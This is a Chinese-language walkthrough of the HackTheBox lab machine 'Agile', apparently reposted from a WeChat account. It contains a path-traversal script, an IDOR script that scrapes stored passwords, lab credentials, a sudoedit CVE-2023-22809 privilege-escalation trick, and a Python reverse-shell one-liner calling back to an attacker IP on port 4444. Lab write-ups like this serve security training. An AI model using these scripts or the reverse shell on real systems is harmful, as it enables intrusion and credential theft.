靶机——Agile

admin 2023年3月19日12:17:19评论727 views字数 12606阅读42分1秒阅读模式

一、信息搜集

└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.203Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:12 CSTNmap scan report for 10.10.11.203Host is up (0.35s latency).Not shown: 998 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)80/tcp open  http    nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://superpass.htbService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 171.68 seconds

添加host

└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts

二、本地文件包含

在扫描目录后发现download 路径,访问出现报错信息,发现了参数是fn

读取/etc/passwd,发现需要登录权限。注册个账号就读取了。

我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径

└─# cat lfi.py              #!/usr/bin/python3import requests, sys
if len(sys.argv) < 2:    print(f"n33[0;37m[33[0;31m-33[0;37m] Uso: python3 {sys.argv[0]} n")    sys.exit(1)
target = "http://superpass.htb"session = requests.Session()
data = {"username": "123", "password": "123", "submit": ""}session.post(target + "/account/login", data=data)
params = {"fn": ".." + sys.argv[1]}request = session.get(target + "/download", params=params)
print(request.text.strip())

└─# python lfi.py /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinpollinate:x:105:1::/var/cache/pollinate:/bin/falsesshd:x:106:65534::/run/sshd:/usr/sbin/nologinusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologincorum:x:1000:1000:corum:/home/corum:/bin/bashdnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinmysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/falserunner:x:1001:1001::/app/app-testing/:/bin/shedwards:x:1002:1002::/home/edwards:/bin/bashdev_admin:x:1003:1003::/home/dev_admin:/bin/bash_laurel:x:999:999::/var/log/laurel:/bin/false

指向错误的文件会向我们读取正在运行的 .py 文件的路径

└─# python lfi.py /etc/passwds | grep app
└─# python lfi.py /app/app/superpass/views/vault_views.pyimport flaskimport subprocessfrom flask_login import login_required, current_userfrom superpass.infrastructure.view_modifiers import responseimport superpass.services.password_service as password_servicefrom superpass.services.utility_service import get_randomfrom superpass.data.password import Password

blueprint = flask.Blueprint('vault', __name__, template_folder='templates')

@blueprint.route('/vault')@response(template_file='vault/vault.html')@login_requireddef vault():    passwords = password_service.get_passwords_for_user(current_user.id)    print(f'{passwords=}')    return {'passwords': passwords}

@blueprint.get('/vault/add_row')@response(template_file='vault/partials/password_row_editable.html')@login_requireddef add_row():    p = Password()    p.password = get_random(20)    #import pdb;pdb.set_trace()    return {"p": p}

@blueprint.get('/vault/edit_row/<id>')@response(template_file='vault/partials/password_row_editable.html')@login_requireddef get_edit_row(id):    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

@blueprint.get('/vault/row/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddef get_row(id):    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

@blueprint.post('/vault/add_row')@login_requireddef add_row_post():    r = flask.request    site = r.form.get('url', '').strip()    username = r.form.get('username', '').strip()    password = r.form.get('password', '').strip()
    if not (site or username or password):        return ''
    p = password_service.add_password(site, username, password, current_user.id)    return flask.render_template('vault/partials/password_row.html', p=p)

@blueprint.post('/vault/update/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddef update(id):    r = flask.request    site = r.form.get('url', '').strip()    username = r.form.get('username', '').strip()    password = r.form.get('password', '').strip()
    if not (site or username or password):        flask.abort(500)
    p = password_service.update_password(id, site, username, password)
    return {"p": p}

@blueprint.delete('/vault/delete/<id>')@login_requireddef delete(id):    password_service.delete_password(id)    return ''

@blueprint.get('/vault/export')@login_requireddef export():    if current_user.has_passwords:                fn = password_service.generate_csv(current_user)        return flask.redirect(f'/download?fn={fn}', 302)    return "No passwords for user"

@blueprint.get('/download')@login_requireddef download():    r = flask.request    fn = r.args.get('fn')    with open(f'/tmp/{fn}', 'rb') as f:        data = f.read()    resp = flask.make_response(data)    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'    resp.mimetype = 'text/csv'    return resp

阅读代码我们可以在.py文件的这部分代码中找到一个idor

@blueprint.get('/vault/row/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddef get_row(id):    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

发送不同的id我们可以看到不同的用户密码。可以创建一个python脚本来遍历id并从中获取数据

#!/usr/bin/python3import requests, bs4from pwn import log
target = "http://superpass.htb"session = requests.Session()
data = {"username": "username", "password": "password", "submit": ""}session.post(target + "/account/login", data=data)
for id in range(0,10):    request = session.get(target + "/vault/row/" + str(id))    soup = bs4.BeautifulSoup(request.content, "html.parser")    rows = soup.find_all("tr", class_="password-row")
    for row in rows:        cols = row.find_all("td")        sitename = cols[1].get_text()        username = cols[2].get_text()        password = cols[3].get_text()
        if sitename != "":            log.info(f"Credentials in row {id}:")            print(f"tSitename: {sitename}")            print(f"tUsername: {username}")            print(f"tPassword: {password}")            print("r")

执行时,它遍历id并从不同用户获得 6 个密码

└─# python AgileExploit.py[*] Credentials in row 3:    Sitename: hackthebox.com    Username: 0xdf    Password: 762b430d32eea2f12970
[*] Credentials in row 4:    Sitename: mgoblog.com    Username: 0xdf    Password: 5b133f7a6a1c180646cb
[*] Credentials in row 6:    Sitename: mgoblog    Username: corum    Password: 47ed1e73c955de230a1d
[*] Credentials in row 7:    Sitename: ticketmaster    Username: corum    Password: 9799588839ed0f98c211
[*] Credentials in row 8:    Sitename: agile    Username: corum    Password: 5db7caa1d13cc37c9fc2

在最后的一个sitename:agile 和我们的靶机名一样,那么用它username 和 password登录ssh 成功。

列出内部端口,我们可以看到 41829,这在系统上并不常见

-bash-5.1$ netstat -natActive Internet connections (servers and established)                                                      Proto Recv-Q Send-Q Local Address           Foreign Address         State                                  tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:56423         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:32846         127.0.0.1:56423         TIME_WAIT  tcp        0      0 127.0.0.1:40522         127.0.0.1:3306          ESTABLISHEDtcp        0      0 127.0.0.1:44958         127.0.0.1:5555          TIME_WAIT  tcp      150      0 127.0.0.1:33290         127.0.0.1:3306          CLOSE_WAIT tcp        0      0 127.0.0.1:36324         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:50656         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50696         ESTABLISHEDtcp        0      0 127.0.1.1:22            127.0.0.1:57456         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.27:56314       ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.38:42908       ESTABLISHEDtcp        0      0 127.0.0.1:50676         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:50666         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:57866         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:3306          127.0.0.1:40522         ESTABLISHEDtcp        0      0 127.0.0.1:44948         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:80            127.0.0.1:50666         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50656         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:59280       ESTABLISHEDtcp        0   4284 10.10.11.203:22         10.10.16.4:57244        ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50690         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36324         ESTABLISHEDtcp        0      0 127.0.0.1:50696         127.0.0.1:80            ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.78:49518       ESTABLISHEDtcp        0      0 127.0.0.1:50690         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50712         ESTABLISHEDtcp        0      0 127.0.0.1:50712         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:56423         127.0.0.1:32856         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36340         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:33362       ESTABLISHEDtcp        0      0 127.0.0.1:44972         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:44938         127.0.0.1:5555          TIME_WAIT  tcp        0      1 10.10.11.203:58342      8.8.8.8:53              SYN_SENT   tcp        0      0 127.0.0.1:57872         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:32856         127.0.0.1:56423         ESTABLISHEDtcp        0      0 127.0.0.1:36340         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50676         ESTABLISHEDtcp        0      0 127.0.0.1:57456         127.0.1.1:22            ESTABLISHEDtcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 ::1:56423               :::*                    LISTEN     

在进程中我们可以看到这个端口运行着谷歌浏览器的远程debug

-bash-5.1$ ps faux | grep 41829runner     19539  0.1  2.6 34023456 103904 ?     Sl   03:28   0:00                      _ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VCC6v1 --window-size=1420,1080 data:,runner     19603  0.5  4.1 1184764420 163312 ?   Sl   03:28   0:01                          |       _ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=19546 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678414886916814 --launch-time-ticks=3996020528 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,1475177266462851820,14744098003185442377,131072 --disable-features=PaintHoldingcorum      19709  0.0  0.0   4020  2072 pts/7    S+   03:31   0:00              _ grep 41829

要在本地使用该端口,我们将通过使用 ssh 进行端口转发来使用它

└─# ssh [email protected] -L 41829:127.0.0.1:41829[email protected]'s password: 5db7caa1d13cc37c9fc2

在搜索栏中使用 chrome://inspect 输入127.0.0.1:41829

它向我们展示了 http://test.superpass.htb/vault 的 Target SuperPassword,访问看到了账号密码

我们可以再次使用agile 站点的username 和 password,通过ssh登录

edwardsd07867c6267dcb5df0af
corum@agile:~$ su edwardsPassword: edwards@agile:/home/corum$ edwards@agile:/home/corum$ iduid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

查看 sudoers 级别的权限,我们可以使用 sudoedit 作为 dev_admin 打开 2 个文件

edwards@agile:/home/corum$ sudo -l[sudo] password for edwards: Matching Defaults entries for edwards on agile:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,    use_pty
User edwards may run the following commands on agile:    (dev_admin : dev_admin) sudoedit /app/config_test.json    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

在本地python开web,上传到靶机pspy

└─# python -m http.server  80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.10.11.203 - - [10/Mar/2023 13:37:47] "GET /pspy64 HTTP/1.1" 200 -

用pspy列出任务我们可以发现root执行了这个文件/app/venv/bin/activate

edwards@agile:~$ ./pspy64 |grep activate2023/03/10 05:41:55 CMD: UID=1002  PID=1326   | grep --color=auto activate 2023/03/10 05:41:55 CMD: UID=1002  PID=1320   | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json 2023/03/10 05:45:01 CMD: UID=0     PID=1480   | /bin/bash -c source /app/venv/bin/activate 

该文件有 dev_admin 作为一个可以写入的组,如果我们可以修改它,我们就是 root

找到 sudoedit 的 CVE-2023–22809[1],它向我们展示了一些利用它的方法

我们通过打开 /app/venv/bin/activate 作为额外文件来导出变量

export EDITOR="vim -- /app/venv/bin/activate"

现在我们打开允许我们在 sudoers 级别以 dev_admin 打开的文件/app/config_test.json

sudo -u dev_admin sudoedit /app/config_test.json

使用在线工具 生成python的反弹shell命令,在线反弹shell[2]

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

反弹shell 拿到root 。

References

[1] CVE-2023–22809: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
[2] 在线反弹shell: https://www.0le.cn/reverse/

原文始发于微信公众号(靶机狂魔):靶机——Agile

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月19日12:17:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机——Agilehttps://cn-sec.com/archives/1613844.html

发表评论

匿名网友 填写信息